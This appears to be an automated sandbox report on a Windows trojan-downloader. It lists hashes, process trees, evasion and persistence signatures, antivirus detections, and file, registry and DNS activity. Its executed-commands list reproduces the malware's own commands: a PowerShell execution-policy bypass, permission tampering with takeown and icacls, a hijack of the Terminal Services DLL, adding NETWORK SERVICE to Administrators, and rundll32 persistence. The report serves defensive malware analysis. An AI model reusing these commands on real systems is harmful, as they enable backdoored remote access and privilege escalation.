Exes_263d1d61374508250dc16249205df9b1_exe.json

[*] MalFamily: "Psdownload"

[*] MalScore: 10.0

[*] File Name: "Exes_263d1d61374508250dc16249205df9b1.exe"
[*] File Size: 2329832
[*] File Type: "PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive"
[*] SHA256: "453ac34e165333d4fbaedb68b3a91529f21fe93dbbdf47a5e209ab8a36c682b8"
[*] MD5: "263d1d61374508250dc16249205df9b1"
[*] SHA1: "bbfaff9027c6490c0668270542d6bc536d68ad4c"
[*] SHA512: "380e2bfd619fc182c5a59030deb7ec68f6e63925a61a19495e30e4d1dffcfeb21e7066bf78f2d75dfa5f8bbda0ca94fa91d71b28898719211d27097db9bcff72"
[*] CRC32: "32080176"
[*] SSDEEP: "49152:O02xUWRH8Zjej/Io65ydnnQ4oNwZtPEKyzTT6paf:axFRuqj/BxdQOtuzvwaf"

[*] Process Execution: [
    "Exes_263d1d61374508250dc16249205df9b1.exe",
    "cmd.exe",
    "wscript.exe",
    "cmd.exe",
    "powershell.exe",
    "takeown.exe",
    "icacls.exe",
    "icacls.exe",
    "icacls.exe",
    "icacls.exe",
    "icacls.exe",
    "icacls.exe",
    "icacls.exe",
    "reg.exe",
    "net.exe",
    "net1.exe",
    "cmd.exe",
    "services.exe",
    "svchost.exe",
    "WmiPrvSE.exe",
    "svchost.exe",
    "cmd.exe",
    "rundll32.exe",
    "svchost.exe",
    "svchost.exe",
    "rundll32.exe",
    "cmd.exe",
    "rundll32.exe",
    "UI0Detect.exe",
    "UI0Detect.exe",
    "svchost.exe",
    "taskhost.exe"
]

[*] Signatures Detected: [
    {
        "Description": "Attempts to connect to a dead IP:Port (3 unique times)",
        "Details": [
            {
                "IP": "185.225.17.150:443"
            },
            {
                "IP": "192.35.177.64:80"
            },
            {
                "IP": "8.253.146.248:80"
            }
        ]
    },
    {
        "Description": "Creates RWX memory",
        "Details": []
    },
    {
        "Description": "Possible date expiration check, exits too soon after checking local time",
        "Details": [
            {
                "process": "cmd.exe, PID 3800"
            }
        ]
    },
    {
        "Description": "Detected script timer window indicative of sleep style evasion",
        "Details": [
            {
                "Window": "WSH-Timer"
            }
        ]
    },
    {
        "Description": "A process attempted to delay the analysis task.",
        "Details": [
            {
                "Process": "svchost.exe tried to sleep 346 seconds, actually delayed analysis time by 0 seconds"
            },
            {
                "Process": "WmiPrvSE.exe tried to sleep 540 seconds, actually delayed analysis time by 0 seconds"
            }
        ]
    },
    {
        "Description": "Loads a driver",
        "Details": [
            {
                "driver service name": "\\Registry\\Machine\\System\\CurrentControlSet\\Services\\RDPDR"
            }
        ]
    },
    {
        "Description": "Expresses interest in specific running processes",
        "Details": [
            {
                "process": "winlogon.exe"
            },
            {
                "process": "explorer.exe"
            }
        ]
    },
    {
        "Description": "Reads data out of its own binary image",
        "Details": [
            {
                "self_read": "process: Exes_263d1d61374508250dc16249205df9b1.exe, pid: 3688, offset: 0x00000000, length: 0x00237910"
            },
            {
                "self_read": "process: Exes_263d1d61374508250dc16249205df9b1.exe, pid: 3688, offset: 0x0001901c, length: 0x0012073b"
            },
            {
                "self_read": "process: Exes_263d1d61374508250dc16249205df9b1.exe, pid: 3688, offset: 0x00237910, length: 0x00000004"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x00000000, length: 0x00000040"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x000000f8, length: 0x00000018"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x00000200, length: 0x7fe00000028"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x0001f200, length: 0x00000020"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x0001f258, length: 0x00000018"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x0001f3a8, length: 0x7fe00000018"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x0001f670, length: 0x00000010"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x0001f840, length: 0x00000012"
            },
            {
                "self_read": "process: wscript.exe, pid: 3828, offset: 0x7fe00000228, length: 0x7fe00000078"
            }
        ]
    },
    {
        "Description": "A process created a hidden window",
        "Details": [
            {
                "Process": "wscript.exe -> cmd"
            }
        ]
    },
    {
        "Description": "Performs some HTTP requests",
        "Details": [
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D"
            },
            {
                "url": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D"
            },
            {
                "url": "http://apps.identrust.com/roots/dstrootcax3.p7c"
            },
            {
                "url": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab"
            }
        ]
    },
    {
        "Description": "Deletes its original binary from disk",
        "Details": []
    },
    {
        "Description": "Tries to suspend Cuckoo threads to prevent logging of malicious activity",
        "Details": [
            {
                "Process": "svchost.exe (664)"
            }
        ]
    },
    {
        "Description": "Attempts to stop active services",
        "Details": [
            {
                "servicename": "UmRdpService"
            }
        ]
    },
    {
        "Description": "Attempts to repeatedly call a single API many times in order to delay analysis time",
        "Details": [
            {
                "Spam": "services.exe (504) called API GetSystemTimeAsFileTime 3151419 times"
            }
        ]
    },
    {
        "Description": "Installs itself for autorun at Windows startup",
        "Details": [
            {
                "service name": "RunAsSystem1224"
            },
            {
                "service path": "C:\\Windows\\system32\\rundll32.exe C:\\windows\\help\\lababa.bin, wrk 0"
            },
            {
                "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\ImagePath"
            },
            {
                "data": "C:\\Windows\\system32\\rundll32.exe C:\\windows\\help\\lababa.bin, wrk 0"
            },
            {
                "key": "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\TermService\\Parameters\\ServiceDLL"
            },
            {
                "data": "%SystemRoot%\\help\\servicedll.dll"
            }
        ]
    },
    {
        "Description": "Attempts to execute a powershell command with suspicious parameter/s",
        "Details": [
            {
                "execution_policy": "Attempts to bypass execution policy"
            }
        ]
    },
    {
        "Description": "Creates a hidden or system file",
        "Details": [
            {
                "file": "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1f9715f.TMP"
            },
            {
                "file": "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft"
            },
            {
                "file": "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache"
            },
            {
                "file": "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData"
            },
            {
                "file": "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content"
            }
        ]
    },
    {
        "Description": "File has been identified by 33 Antiviruses on VirusTotal as malicious",
        "Details": [
            {
                "Bkav": "HW32.Packed."
            },
            {
                "McAfee": "Artemis!263D1D613745"
            },
            {
                "Malwarebytes": "Trojan.Dropper.NSIS"
            },
            {
                "Alibaba": "TrojanDownloader:Win32/PsDownload.5b1a6c3c"
            },
            {
                "Arcabit": "Trojan.Barys.DF047"
            },
            {
                "Symantec": "Trojan.Gen.MBT"
            },
            {
                "Paloalto": "generic.ml"
            },
            {
                "Kaspersky": "HEUR:Trojan-Downloader.Win32.PsDownload.gen"
            },
            {
                "BitDefender": "Gen:Variant.Razy.492859"
            },
            {
                "NANO-Antivirus": "Trojan.Win32.PsDownload.frmtop"
            },
            {
                "AegisLab": "Trojan.Win32.PsDownload.4!c"
            },
            {
                "Avast": "Win32:Malware-gen"
            },
            {
                "Tencent": "Win32.Trojan.Falsesign.Hpij"
            },
            {
                "Emsisoft": "Gen:Variant.Razy.492859 (B)"
            },
            {
                "Comodo": "Malware@#2tvwskgjkfwvs"
            },
            {
                "F-Secure": "Trojan.TR/Dldr.PsDownload.paocz"
            },
            {
                "DrWeb": "BackDoor.HRDP.22"
            },
            {
                "McAfee-GW-Edition": "Artemis!Trojan"
            },
            {
                "Sophos": "Mal/Generic-S"
            },
            {
                "Cyren": "W32/Trojan.VHWQ-0939"
            },
            {
                "Avira": "TR/Dldr.PsDownload.paocz"
            },
            {
                "Microsoft": "PUA:Win32/Puamson.A!ml"
            },
            {
                "ZoneAlarm": "HEUR:Trojan-Downloader.Win32.PsDownload.gen"
            },
            {
                "GData": "Gen:Variant.Barys.61511"
            },
            {
                "AhnLab-V3": "PUP/Win32.Agent.R276823"
            },
            {
                "VBA32": "TrojanDownloader.PsDownload"
            },
            {
                "ESET-NOD32": "a variant of Generik.CUNEUMG"
            },
            {
                "TrendMicro-HouseCall": "TROJ_GEN.R011H0CFH19"
            },
            {
                "AVG": "Win32:Malware-gen"
            },
            {
                "Cybereason": "malicious.137450"
            },
            {
                "Panda": "Trj/CI.A"
            },
            {
                "CrowdStrike": "win/malicious_confidence_100% (W)"
            },
            {
                "Qihoo-360": "Win32/Trojan.65b"
            }
        ]
    }
]

[*] Started Service: [
    "TermService",
    "UmRdpService",
    "RunAsSystem1224"
]

[*] Executed Commands: [
    "\"cmd.exe\" /c wscript C:\\Users\\user\\AppData\\Local\\Temp\\reactor.vbs",
    "wscript  C:\\Users\\user\\AppData\\Local\\Temp\\reactor.vbs",
    "\"C:\\Windows\\System32\\cmd.exe\" /c rename C:\\Users\\user\\AppData\\Local\\Temp\\reactor.txt reactor.ps1& powershell.exe -ep bypass -f C:\\Users\\user\\AppData\\Local\\Temp\\reactor.ps1",
    "cmd /c rename C:\\Users\\user\\AppData\\Local\\Temp\\reactor.txt reactor.ps1& powershell.exe -ep bypass -f C:\\Users\\user\\AppData\\Local\\Temp\\reactor.ps1",
    "powershell.exe  -ep bypass -f C:\\Users\\user\\AppData\\Local\\Temp\\reactor.ps1",
    "\"C:\\Windows\\system32\\takeown.exe\"  /A /F rfxvmt.dll",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /inheritance:d",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /setowner \"NT SERVICE\\TrustedInstaller\"",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /grant \"NT SERVICE\\TrustedInstaller:F\"",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /remove \"NT AUTHORITY\\SYSTEM\"",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /grant \"NT AUTHORITY\\SYSTEM:RX\"",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /remove BUILTIN\\Administrators",
    "\"C:\\Windows\\system32\\icacls.exe\"  rfxvmt.dll /grant BUILTIN\\Administrators:RX",
    "\"C:\\Windows\\system32\\reg.exe\"  add HKLM\\system\\currentcontrolset\\services\\TermService\\parameters /v ServiceDLL /t REG_EXPAND_SZ /d %SystemRoot%\\help\\servicedll.dll /f",
    "\"C:\\Windows\\system32\\net.exe\"  localgroup Administrators \"NT AUTHORITY\\NETWORK SERVICE\" /add",
    "\"C:\\Windows\\system32\\cmd.exe\"  /c del %temp%\\*.ps1 /f",
    "C:\\Windows\\system32\\wbem\\wmiprvse.exe -secured -Embedding",
    "C:\\Windows\\system32\\net1  localgroup Administrators \"NT AUTHORITY\\NETWORK SERVICE\" /add",
    "C:\\Windows\\System32\\svchost.exe -k NetworkService",
    "C:\\Windows\\System32\\svchost.exe -k LocalSystemNetworkRestricted",
    "C:\\Windows\\system32\\rundll32.exe C:\\windows\\help\\lababa.bin, wrk 0",
    "C:\\Windows\\system32\\UI0Detect.exe",
    "cmd.exe /c rundll32.exe C:\\windows\\help\\lababa.bin, wrk 0",
    "rundll32.exe  C:\\windows\\help\\lababa.bin, wrk 0",
    "cmd.exe /c C:\\Windows\\system32\\rundll32.exe C:\\windows\\help\\lababa.bin, wrk launch",
    "C:\\Windows\\system32\\rundll32.exe  C:\\windows\\help\\lababa.bin, wrk launch",
    "C:\\Windows\\sysnative\\rundll32.exe C:\\windows\\help\\lababa.bin, wrk chrome"
]

[*] Mutexes: [
    "Local\\ZoneAttributeCacheCounterMutex",
    "Local\\ZonesCacheCounterMutex",
    "Local\\ZonesLockedCacheCounterMutex",
    "Global\\CLR_PerfMon_WrapMutex",
    "Global\\CLR_CASOFF_MUTEX",
    "TSLicensingLock",
    "CicLoadWinStaWinSta0",
    "Local\\MSCTF.CtfMonitorInstMutexDefault1"
]

[*] Modified Files: [
    "C:\\Users\\user\\AppData\\Local\\Temp\\log_455111.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\install_455111.log",
    "C:\\Users\\user\\AppData\\Local\\Temp\\log_986225.log",
    "C:\\Users\\user\\AppData\\Local\\Temp\\reactor.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\nsd75E.tmp\\System.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\readme_455111.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\changelog_66663.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9887742.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\changes_765543.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\reactor.vbs",
    "C:\\Users\\user\\AppData\\Local\\Temp\\reactor.ps1",
    "C:\\Users\\user\\AppData\\Local\\Temp\\%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Accessories\\Windows PowerShell\\Windows PowerShell.lnk",
    "\\??\\PIPE\\srvsvc",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\8ZM6MTOKQSHV9I9FAL6G.temp",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1f9715f.TMP",
    "C:\\Windows\\Help\\servicedll.dll",
    "C:\\Windows\\Help\\lababa.bin",
    "C:\\Windows\\Help\\portable.dat",
    "C:\\Windows\\sysnative\\rfxvmt.dll",
    "C:\\Windows\\Temp\\desk.txt",
    "C:\\Windows\\inf\\setupapi.dev.log",
    "\\??\\pipe\\PIPE_EVENTROOT\\CIMV2PROVIDERSUBSYSTEM",
    "\\??\\PIPE\\samr",
    "\\??\\PIPE\\lsarpc",
    "C:\\Windows\\sysnative\\LogFiles\\Scm\\5869f1c1-01d7-41f7-84b7-715672259fa8",
    "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\455677777.dat",
    "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Local\\Temp\\aa.txt",
    "\\Device\\Termdd",
    "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\E0F5C59F9FA661F6F4C50B87FEF3A15A",
    "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\E0F5C59F9FA661F6F4C50B87FEF3A15A",
    "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\MetaData\\94308059B57B3142E455B38A6EB92015",
    "C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\LocalLow\\Microsoft\\CryptnetUrlCache\\Content\\94308059B57B3142E455B38A6EB92015",
    "\\Device\\RdpDr",
    "\\??\\root#umbus#0000#{65a9a6cf-64cd-480b-843e-32c86e1ba19f}"
]

[*] Deleted Files: [
    "C:\\Users\\user\\AppData\\Local\\Temp\\nsx6A1.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\nsd75E.tmp",
    "C:\\Users\\user\\AppData\\Local\\Temp\\nsd75E.tmp\\System.dll",
    "C:\\Users\\user\\AppData\\Local\\Temp\\nsd75E.tmp\\",
    "C:\\Users\\user\\AppData\\Local\\Temp\\reactor.txt",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\CustomDestinations\\590aee7bdd69b59b.customDestinations-ms~RF1f9715f.TMP",
    "C:\\Users\\user\\AppData\\Local\\Temp\\9887742.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\changelog_66663.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\changes_765543.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\FXSAPIDebugLogFile.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\log_455111.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\readme_455111.txt",
    "C:\\Users\\user\\AppData\\Local\\Temp\\reactor.ps1",
    "C:\\Users\\user\\AppData\\Local\\Temp\\Exes_263d1d61374508250dc16249205df9b1.exe",
    "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\security.config.cch.2076.33125000",
    "C:\\Windows\\Microsoft.NET\\Framework64\\v2.0.50727\\CONFIG\\enterprisesec.config.cch.2076.33125000",
    "C:\\Users\\user\\AppData\\Roaming\\Microsoft\\CLR Security Config\\v2.0.50727.312\\64bit\\security.config.cch.2076.33125000"
]

[*] Modified Registry Keys: [
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\UNCAsIntranet",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\AutoDetect",
    "HKEY_CURRENT_USER\\Software\\Classes\\Local Settings\\MuiCache\\2F\\52C64B7E\\LanguageList",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Device Installer\\CurrentStatus",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Device Installer\\CurrentStatus\\StartTime",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Device Installer\\CurrentStatus\\Progress",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\{83da6326-97a6-4088-9453-a1923f573b29}",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\{83da6326-97a6-4088-9453-a1923f573b29}\\00000009",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\{83da6326-97a6-4088-9453-a1923f573b29}\\00000009\\00000000",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\{83da6326-97a6-4088-9453-a1923f573b29}\\00000009\\00000000\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Enum\\UMB\\UMB\\1&841921d&0&TSBUS\\Properties\\{83da6326-97a6-4088-9453-a1923f573b29}\\00000009\\00000000\\Data",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\TermService\\Parameters\\ServiceDLL",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\UmRdpService\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\Type",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\Start",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\ErrorControl",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\ImagePath",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\DisplayName",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\ObjectName",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\services\\RunAsSystem1224\\DeleteFlag",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\fDenyTSConnections",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\FSingleSessionPerUser",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Lsa\\LimitBlankPasswordUse",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\Licensing Core",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\Licensing Core\\EnableConcurrentSessions",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\AllowMultipleTSSessions",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Winlogon\\SpecialAccounts\\UserList\\WgaUtilAcc",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Policies\\Microsoft\\Windows NT\\Terminal Services\\fAllowToGetHelp",
    "HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Terminal Server\\RCM\\Secrets",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\Secrets\\L$HYDRAENCKEY_28ada6da-d622-11d1-9cb9-00c04fb16e75",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\Certificate",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\Secrets\\L$HYDRAENCKEY_52d1ad03-4565-44f3-8bfd-bbb0591f4b9d",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\CertificateOld"
]

[*] Deleted Registry Keys: [
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\ProxyBypass",
    "HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
    "HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings\\ZoneMap\\IntranetName",
    "HKEY_LOCAL_MACHINE\\SYSTEM\\ControlSet001\\Control\\Terminal Server\\RCM\\OverrideProtocol_Object"
]

[*] DNS Communications: [
    {
        "type": "A",
        "request": "gidjshrvz.xyz",
        "answers": [
            {
                "data": "185.225.17.150",
                "type": "A"
            }
        ]
    },
    {
        "type": "A",
        "request": "apps.identrust.com",
        "answers": [
            {
                "data": "192.35.177.64",
                "type": "A"
            },
            {
                "data": "apps.digsigtrust.com",
                "type": "CNAME"
            }
        ]
    }
]

[*] Domains: [
    {
        "ip": "185.225.17.150",
        "domain": "gidjshrvz.xyz"
    },
    {
        "ip": "192.35.177.64",
        "domain": "apps.identrust.com"
    }
]

[*] Network Communication - ICMP: []

[*] Network Communication - HTTP: [
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEAPxtOFfOoLxFJZ4s9fYR1w%3D HTTP/1.1\r\nCache-Control: max-age = 128165\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 11:02:13 GMT\r\nIf-None-Match: \"5c961235-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEA%2BdzSc7B3UzA8k03selSwo%3D HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "ocsp.digicert.com",
        "version": "1.1",
        "path": "/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D",
        "data": "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSPwl%2BrBFlJbvzLXU1bGW08VysJ2wQUj%2Bh%2B8G0yagAFI8dwl2o6kP9r6tQCEAaJg2QslT5G973OQUPxM8E%3D HTTP/1.1\r\nCache-Control: max-age = 143038\r\nConnection: Keep-Alive\r\nAccept: */*\r\nIf-Modified-Since: Sat, 23 Mar 2019 15:00:07 GMT\r\nIf-None-Match: \"5c9649f7-1d7\"\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: ocsp.digicert.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://apps.identrust.com/roots/dstrootcax3.p7c",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "apps.identrust.com",
        "version": "1.1",
        "path": "/roots/dstrootcax3.p7c",
        "data": "GET /roots/dstrootcax3.p7c HTTP/1.1\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: apps.identrust.com\r\n\r\n",
        "port": 80
    },
    {
        "count": 1,
        "body": "",
        "uri": "http://www.download.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
        "user-agent": "Microsoft-CryptoAPI/6.1",
        "method": "GET",
        "host": "www.download.windowsupdate.com",
        "version": "1.1",
        "path": "/msdownload/update/v3/static/trustedr/en/authrootstl.cab",
        "data": "GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab HTTP/1.1\r\nCache-Control: max-age = 89420\r\nConnection: Keep-Alive\r\nAccept: */*\r\nUser-Agent: Microsoft-CryptoAPI/6.1\r\nHost: www.download.windowsupdate.com\r\n\r\n",
        "port": 80
    }
]

[*] Network Communication - SMTP: []

[*] Network Communication - Hosts: []

[*] Network Communication - IRC: []

[*] Static Analysis: {
    "pe": {
        "peid_signatures": null,
        "imports": [
            {
                "imports": [
                    {
                        "name": "GetTempPathA",
                        "address": "0x407070"
                    },
                    {
                        "name": "GetFileSize",
                        "address": "0x407074"
                    },
                    {
                        "name": "GetModuleFileNameA",
                        "address": "0x407078"
                    },
                    {
                        "name": "GetCurrentProcess",
                        "address": "0x40707c"
                    },
                    {
                        "name": "CopyFileA",
                        "address": "0x407080"
                    },
                    {
                        "name": "ExitProcess",
                        "address": "0x407084"
                    },
                    {
                        "name": "SetEnvironmentVariableA",
                        "address": "0x407088"
                    },
                    {
                        "name": "Sleep",
                        "address": "0x40708c"
                    },
                    {
                        "name": "GetTickCount",
                        "address": "0x407090"
                    },
                    {
                        "name": "GetCommandLineA",
                        "address": "0x407094"
